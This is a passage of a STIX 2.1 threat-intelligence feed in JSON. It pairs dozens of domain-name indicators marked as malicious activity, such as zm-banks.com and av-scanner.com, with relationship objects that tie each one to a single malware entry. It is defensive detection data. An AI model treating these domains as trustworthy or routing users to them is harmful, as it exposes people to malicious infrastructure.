"valid_from": "2024-01-26T21:28:21.214295Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f7ea41c0-0b48-41cc-acb3-cd6090f15248", "created": "2024-01-26T21:28:21.214692Z", "modified": "2024-01-26T21:28:21.214692Z", "relationship_type": "indicates", "source_ref": "indicator--5a8c2ee6-a9d2-4b36-b716-74549daa9988", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a39ae22f-ac7c-4515-8778-358bddcbeffa", "created": "2024-01-26T21:28:21.214789Z", "modified": "2024-01-26T21:28:21.214789Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-redirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.214789Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f9eb1268-2ea3-48f2-8d65-321af7d7b5ca", "created": "2024-01-26T21:28:21.215174Z", "modified": "2024-01-26T21:28:21.215174Z", "relationship_type": "indicates", "source_ref": "indicator--a39ae22f-ac7c-4515-8778-358bddcbeffa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d805fa9c-153c-4a1c-89c7-c71e9cbff2e5", "created": "2024-01-26T21:28:21.21527Z", "modified": "2024-01-26T21:28:21.21527Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='al7erak247.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.21527Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4eb33091-9b44-40bf-a25e-ad07b47d642b", "created": "2024-01-26T21:28:21.21566Z", "modified": "2024-01-26T21:28:21.21566Z", "relationship_type": "indicates", "source_ref": "indicator--d805fa9c-153c-4a1c-89c7-c71e9cbff2e5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f2111a75-6165-462e-b529-0ab625a01aa9", "created": "2024-01-26T21:28:21.215761Z", "modified": "2024-01-26T21:28:21.215761Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='outgoingurl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.215761Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1eed7015-e33b-4bd8-8814-22d40d88373c", "created": "2024-01-26T21:28:21.216155Z", "modified": "2024-01-26T21:28:21.216155Z", "relationship_type": "indicates", "source_ref": "indicator--f2111a75-6165-462e-b529-0ab625a01aa9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9926476c-716e-4a4c-9527-42bcc7b5dc04", "created": "2024-01-26T21:28:21.216252Z", "modified": "2024-01-26T21:28:21.216252Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-net.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.216252Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ebe679bf-ee6b-46e2-bc16-7e74f895dbaf", "created": "2024-01-26T21:28:21.216642Z", "modified": "2024-01-26T21:28:21.216642Z", "relationship_type": "indicates", "source_ref": "indicator--9926476c-716e-4a4c-9527-42bcc7b5dc04", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7248c6b6-f7a3-439e-9476-c7bd1aac0b3f", "created": "2024-01-26T21:28:21.216738Z", "modified": "2024-01-26T21:28:21.216738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='muftyat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.216738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79b370fc-e665-4a59-89bf-8e8a5e30c53b", "created": "2024-01-26T21:28:21.217152Z", "modified": "2024-01-26T21:28:21.217152Z", "relationship_type": "indicates", "source_ref": "indicator--7248c6b6-f7a3-439e-9476-c7bd1aac0b3f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--541f3197-a595-4ae8-97c9-1ea84d13e9c0", "created": "2024-01-26T21:28:21.217252Z", "modified": "2024-01-26T21:28:21.217252Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mercedesbenz-vip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.217252Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d3a758d9-2698-4d65-9dfd-1ffa63332cc6", "created": "2024-01-26T21:28:21.217722Z", "modified": "2024-01-26T21:28:21.217722Z", "relationship_type": "indicates", "source_ref": "indicator--541f3197-a595-4ae8-97c9-1ea84d13e9c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--605d9390-f42d-423c-8d5b-7535faa3f863", "created": "2024-01-26T21:28:21.217826Z", "modified": "2024-01-26T21:28:21.217826Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bicyclerentalnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.217826Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--716c5200-8fea-48f5-baba-6173e7127531", "created": "2024-01-26T21:28:21.218223Z", "modified": "2024-01-26T21:28:21.218223Z", "relationship_type": "indicates", "source_ref": "indicator--605d9390-f42d-423c-8d5b-7535faa3f863", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--91526aef-e350-4547-9c20-19f80c267330", "created": "2024-01-26T21:28:21.218322Z", "modified": "2024-01-26T21:28:21.218322Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='topcontactco.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.218322Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2233424e-5af1-4e3d-8864-a891d0185df0", "created": "2024-01-26T21:28:21.218707Z", "modified": "2024-01-26T21:28:21.218707Z", "relationship_type": "indicates", "source_ref": "indicator--91526aef-e350-4547-9c20-19f80c267330", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b5410034-a354-4c78-a38d-4770e848de20", "created": "2024-01-26T21:28:21.218804Z", "modified": "2024-01-26T21:28:21.218804Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='advert-time.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.218804Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f22c5bb5-7b80-438a-8cd5-f6a345bfd286", "created": "2024-01-26T21:28:21.219192Z", "modified": "2024-01-26T21:28:21.219192Z", "relationship_type": "indicates", "source_ref": "indicator--b5410034-a354-4c78-a38d-4770e848de20", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--daba9716-951d-4dd2-a392-e9de64ad7e60", "created": "2024-01-26T21:28:21.219289Z", "modified": "2024-01-26T21:28:21.219289Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='news-news.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.219289Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ba4adfb8-c790-4ec0-b554-0360b5379a65", "created": "2024-01-26T21:28:21.21967Z", "modified": "2024-01-26T21:28:21.21967Z", "relationship_type": "indicates", "source_ref": "indicator--daba9716-951d-4dd2-a392-e9de64ad7e60", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c55e2b8d-da10-4b3a-a967-82da9b5ce6f0", "created": "2024-01-26T21:28:21.219767Z", "modified": "2024-01-26T21:28:21.219767Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='everyuse.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.219767Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a888aed6-7933-46fc-9b4b-d2d3d7d10c23", "created": "2024-01-26T21:28:21.220147Z", "modified": "2024-01-26T21:28:21.220147Z", "relationship_type": "indicates", "source_ref": "indicator--c55e2b8d-da10-4b3a-a967-82da9b5ce6f0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--952466aa-5ce6-45f8-9ee8-60966eaf4803", "created": "2024-01-26T21:28:21.220248Z", "modified": "2024-01-26T21:28:21.220248Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mapupdatezone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.220248Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--80fb60c0-691f-464f-9b08-0eedc32cccdd", "created": "2024-01-26T21:28:21.220634Z", "modified": "2024-01-26T21:28:21.220634Z", "relationship_type": "indicates", "source_ref": "indicator--952466aa-5ce6-45f8-9ee8-60966eaf4803", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c634d94c-c14b-4435-a537-f6d38d9f0924", "created": "2024-01-26T21:28:21.22073Z", "modified": "2024-01-26T21:28:21.22073Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='projectgoals.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.22073Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aeb4ea3c-2ba5-4222-ab69-5245c927f650", "created": "2024-01-26T21:28:21.221118Z", "modified": "2024-01-26T21:28:21.221118Z", "relationship_type": "indicates", "source_ref": "indicator--c634d94c-c14b-4435-a537-f6d38d9f0924", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--32e37831-dbc7-4912-8e0d-08216c9096ac", "created": "2024-01-26T21:28:21.221217Z", "modified": "2024-01-26T21:28:21.221217Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='goodflowersinside.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.221217Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d293e8d-3e4f-456a-a8ab-71dbf7b3b27c", "created": "2024-01-26T21:28:21.221614Z", "modified": "2024-01-26T21:28:21.221614Z", "relationship_type": "indicates", "source_ref": "indicator--32e37831-dbc7-4912-8e0d-08216c9096ac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c717be57-fe73-4aae-b255-3dbf0f3eee8c", "created": "2024-01-26T21:28:21.221717Z", "modified": "2024-01-26T21:28:21.221717Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-direct.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.221717Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f68c4476-2330-45bd-b5ad-b106ef1d232b", "created": "2024-01-26T21:28:21.222184Z", "modified": "2024-01-26T21:28:21.222184Z", "relationship_type": "indicates", "source_ref": "indicator--c717be57-fe73-4aae-b255-3dbf0f3eee8c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e4e16413-74f5-478d-aa07-d59f1a4d5e2a", "created": "2024-01-26T21:28:21.222286Z", "modified": "2024-01-26T21:28:21.222286Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='klientuserviss.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.222286Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d91e471-1b2a-44c5-b4ab-4f79a0ee7ef7", "created": "2024-01-26T21:28:21.222677Z", "modified": "2024-01-26T21:28:21.222677Z", "relationship_type": "indicates", "source_ref": "indicator--e4e16413-74f5-478d-aa07-d59f1a4d5e2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7bc1538a-cc93-4682-8241-2d026043f77e", "created": "2024-01-26T21:28:21.222774Z", "modified": "2024-01-26T21:28:21.222774Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fadewallwine.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.222774Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5488e198-d925-4abb-b801-e0a34697efd8", "created": "2024-01-26T21:28:21.223162Z", "modified": "2024-01-26T21:28:21.223162Z", "relationship_type": "indicates", "source_ref": "indicator--7bc1538a-cc93-4682-8241-2d026043f77e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df15a5dc-edea-464f-9a3f-8388700342bc", "created": "2024-01-26T21:28:21.223257Z", "modified": "2024-01-26T21:28:21.223257Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='only-news.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.223257Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--899a08a3-4756-4152-be61-5d14592aed79", "created": "2024-01-26T21:28:21.223637Z", "modified": "2024-01-26T21:28:21.223637Z", "relationship_type": "indicates", "source_ref": "indicator--df15a5dc-edea-464f-9a3f-8388700342bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2f048484-dfd8-4fb3-80bc-9ecc30ce0e40", "created": "2024-01-26T21:28:21.223733Z", "modified": "2024-01-26T21:28:21.223733Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mymanagement-service.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.223733Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--69773008-a910-4724-83a3-5c4c21e7c40b", "created": "2024-01-26T21:28:21.224127Z", "modified": "2024-01-26T21:28:21.224127Z", "relationship_type": "indicates", "source_ref": "indicator--2f048484-dfd8-4fb3-80bc-9ecc30ce0e40", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1763437f-d218-417d-8a90-e47225ca702d", "created": "2024-01-26T21:28:21.224229Z", "modified": "2024-01-26T21:28:21.224229Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='toggletools.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.224229Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a7757b7e-c8ba-43e6-8985-33f36932bd75", "created": "2024-01-26T21:28:21.224621Z", "modified": "2024-01-26T21:28:21.224621Z", "relationship_type": "indicates", "source_ref": "indicator--1763437f-d218-417d-8a90-e47225ca702d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--530edda9-f556-4122-b8bd-545ea808332f", "created": "2024-01-26T21:28:21.224718Z", "modified": "2024-01-26T21:28:21.224718Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='babies-bottles.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.224718Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1cc95430-5443-44c3-bc34-ff69b4db3a9e", "created": "2024-01-26T21:28:21.225106Z", "modified": "2024-01-26T21:28:21.225106Z", "relationship_type": "indicates", "source_ref": "indicator--530edda9-f556-4122-b8bd-545ea808332f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--55749188-0bfd-49a1-a752-ecafc6648bae", "created": "2024-01-26T21:28:21.225202Z", "modified": "2024-01-26T21:28:21.225202Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='howtomakeavocadotoastandegg.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.225202Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79dce9af-10b6-47d7-8eb3-cefeed31b071", "created": "2024-01-26T21:28:21.225603Z", "modified": "2024-01-26T21:28:21.225603Z", "relationship_type": "indicates", "source_ref": "indicator--55749188-0bfd-49a1-a752-ecafc6648bae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8fe437af-19b4-4c15-b3e4-e582f9c4ac14", "created": "2024-01-26T21:28:21.2257Z", "modified": "2024-01-26T21:28:21.2257Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='in-weather.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.2257Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d375f0b0-f5e8-454a-8bdd-107c4d3af3fe", "created": "2024-01-26T21:28:21.226084Z", "modified": "2024-01-26T21:28:21.226084Z", "relationship_type": "indicates", "source_ref": "indicator--8fe437af-19b4-4c15-b3e4-e582f9c4ac14", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8eb8b110-36ca-4dc2-aa84-758a4b0ac910", "created": "2024-01-26T21:28:21.226186Z", "modified": "2024-01-26T21:28:21.226186Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='umbrellacover.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.226186Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--da8c266f-7420-4904-993d-a4b5c73eb8eb", "created": "2024-01-26T21:28:21.22665Z", "modified": "2024-01-26T21:28:21.22665Z", "relationship_type": "indicates", "source_ref": "indicator--8eb8b110-36ca-4dc2-aa84-758a4b0ac910", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0253ad22-98c3-4af9-8cad-735a959e1863", "created": "2024-01-26T21:28:21.226749Z", "modified": "2024-01-26T21:28:21.226749Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='linksnew.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.226749Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8f041315-2267-4489-ae71-b37b84cf76da", "created": "2024-01-26T21:28:21.227138Z", "modified": "2024-01-26T21:28:21.227138Z", "relationship_type": "indicates", "source_ref": "indicator--0253ad22-98c3-4af9-8cad-735a959e1863", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--17696707-e3e0-44bf-bff0-ba1dfe245afa", "created": "2024-01-26T21:28:21.227237Z", "modified": "2024-01-26T21:28:21.227237Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kingdom-deals.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.227237Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ef7c076-6cd5-43b7-8c15-13a4691835ab", "created": "2024-01-26T21:28:21.227626Z", "modified": "2024-01-26T21:28:21.227626Z", "relationship_type": "indicates", "source_ref": "indicator--17696707-e3e0-44bf-bff0-ba1dfe245afa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--186fe99a-a6ae-4c8b-a717-8a48f06c2bd3", "created": "2024-01-26T21:28:21.227722Z", "modified": "2024-01-26T21:28:21.227722Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='painting-walls.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.227722Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--967fca1d-ba71-4a56-849d-0d76b4d95eec", "created": "2024-01-26T21:28:21.228117Z", "modified": "2024-01-26T21:28:21.228117Z", "relationship_type": "indicates", "source_ref": "indicator--186fe99a-a6ae-4c8b-a717-8a48f06c2bd3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--72e8af41-a932-40e1-9032-56860d138103", "created": "2024-01-26T21:28:21.228216Z", "modified": "2024-01-26T21:28:21.228216Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='av-scanner.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.228216Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--afb3d9e8-1e8f-450e-b487-645ac1dedc78", "created": "2024-01-26T21:28:21.228598Z", "modified": "2024-01-26T21:28:21.228598Z", "relationship_type": "indicates", "source_ref": "indicator--72e8af41-a932-40e1-9032-56860d138103", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f875c56a-f53b-4f3f-87db-40b9737ae3f8", "created": "2024-01-26T21:28:21.228694Z", "modified": "2024-01-26T21:28:21.228694Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='forward-page.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.228694Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9836888f-256c-4a50-9d84-1ece7aba24b6", "created": "2024-01-26T21:28:21.229079Z", "modified": "2024-01-26T21:28:21.229079Z", "relationship_type": "indicates", "source_ref": "indicator--f875c56a-f53b-4f3f-87db-40b9737ae3f8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--06302bd0-3215-4789-abfd-3051f4a353a4", "created": "2024-01-26T21:28:21.229175Z", "modified": "2024-01-26T21:28:21.229175Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fastdirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.229175Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fedac1b0-06b4-47e1-9bea-4d16e62034e0", "created": "2024-01-26T21:28:21.229563Z", "modified": "2024-01-26T21:28:21.229563Z", "relationship_type": "indicates", "source_ref": "indicator--06302bd0-3215-4789-abfd-3051f4a353a4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--20c3f7cb-011e-4629-a581-b6dd126fccde", "created": "2024-01-26T21:28:21.22966Z", "modified": "2024-01-26T21:28:21.22966Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='neutralpages.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.22966Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c829aaad-6eae-41a0-bdd4-e08ace3169ee", "created": "2024-01-26T21:28:21.230045Z", "modified": "2024-01-26T21:28:21.230045Z", "relationship_type": "indicates", "source_ref": "indicator--20c3f7cb-011e-4629-a581-b6dd126fccde", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b1fbc7be-d42a-4fd1-aeba-5b445dd7ed8e", "created": "2024-01-26T21:28:21.230154Z", "modified": "2024-01-26T21:28:21.230154Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flying-free.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.230154Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--72dcc321-9e52-4aee-a45a-649b0cfee672", "created": "2024-01-26T21:28:21.230544Z", "modified": "2024-01-26T21:28:21.230544Z", "relationship_type": "indicates", "source_ref": "indicator--b1fbc7be-d42a-4fd1-aeba-5b445dd7ed8e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--391f7ba7-333e-436b-8be8-42a9f5d369ae", "created": "2024-01-26T21:28:21.230641Z", "modified": "2024-01-26T21:28:21.230641Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thehoteloffers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.230641Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c6f99c1b-977f-4e0f-b18c-aed56d6aac8c", "created": "2024-01-26T21:28:21.23111Z", "modified": "2024-01-26T21:28:21.23111Z", "relationship_type": "indicates", "source_ref": "indicator--391f7ba7-333e-436b-8be8-42a9f5d369ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3d10e6b6-0b32-4372-ace1-b056d18c08c1", "created": "2024-01-26T21:28:21.231212Z", "modified": "2024-01-26T21:28:21.231212Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='boldconclusion.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.231212Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f15b61ac-686a-4b4c-8223-cb3a5012554f", "created": "2024-01-26T21:28:21.231603Z", "modified": "2024-01-26T21:28:21.231603Z", "relationship_type": "indicates", "source_ref": "indicator--3d10e6b6-0b32-4372-ace1-b056d18c08c1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3fe8adc3-9510-489a-966a-18005a6b47f2", "created": "2024-01-26T21:28:21.231699Z", "modified": "2024-01-26T21:28:21.231699Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='raininscreen.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.231699Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--febc9e4c-2304-4ffb-9022-5d2f04c86c41", "created": "2024-01-26T21:28:21.232084Z", "modified": "2024-01-26T21:28:21.232084Z", "relationship_type": "indicates", "source_ref": "indicator--3fe8adc3-9510-489a-966a-18005a6b47f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f06defc-effd-48a3-99a4-d4fc74195f82", "created": "2024-01-26T21:28:21.23218Z", "modified": "2024-01-26T21:28:21.23218Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='zm-banks.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.23218Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7d28ec6f-1aff-4f66-b222-c8a07a36167b", "created": "2024-01-26T21:28:21.232624Z", "modified": "2024-01-26T21:28:21.232624Z", "relationship_type": "indicates", "source_ref": "indicator--9f06defc-effd-48a3-99a4-d4fc74195f82", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bf45ce9e-8f1e-43b4-bb73-5cd662816211", "created": "2024-01-26T21:28:21.232721Z", "modified": "2024-01-26T21:28:21.232721Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='paywithcrytpo.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.232721Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecdcd597-dd65-44bc-9d61-83ffbcb11ac1", "created": "2024-01-26T21:28:21.233111Z", "modified": "2024-01-26T21:28:21.233111Z", "relationship_type": "indicates", "source_ref": "indicator--bf45ce9e-8f1e-43b4-bb73-5cd662816211", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d5c46b34-0078-482c-b85d-2d6a3c854538", "created": "2024-01-26T21:28:21.233209Z", "modified": "2024-01-26T21:28:21.233209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='news-alert.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.233209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7c6df9a8-8857-4980-84c0-0c5153bc9543", "created": "2024-01-26T21:28:21.233596Z", "modified": "2024-01-26T21:28:21.233596Z", "relationship_type": "indicates", "source_ref": "indicator--d5c46b34-0078-482c-b85d-2d6a3c854538", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c8b17c4e-b1a8-49ae-befa-eaef85c5bfda", "created": "2024-01-26T21:28:21.233693Z", "modified": "2024-01-26T21:28:21.233693Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirecteur.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.233693Z"}, {"type": "relationship", "spec_version": "2.1", "id": 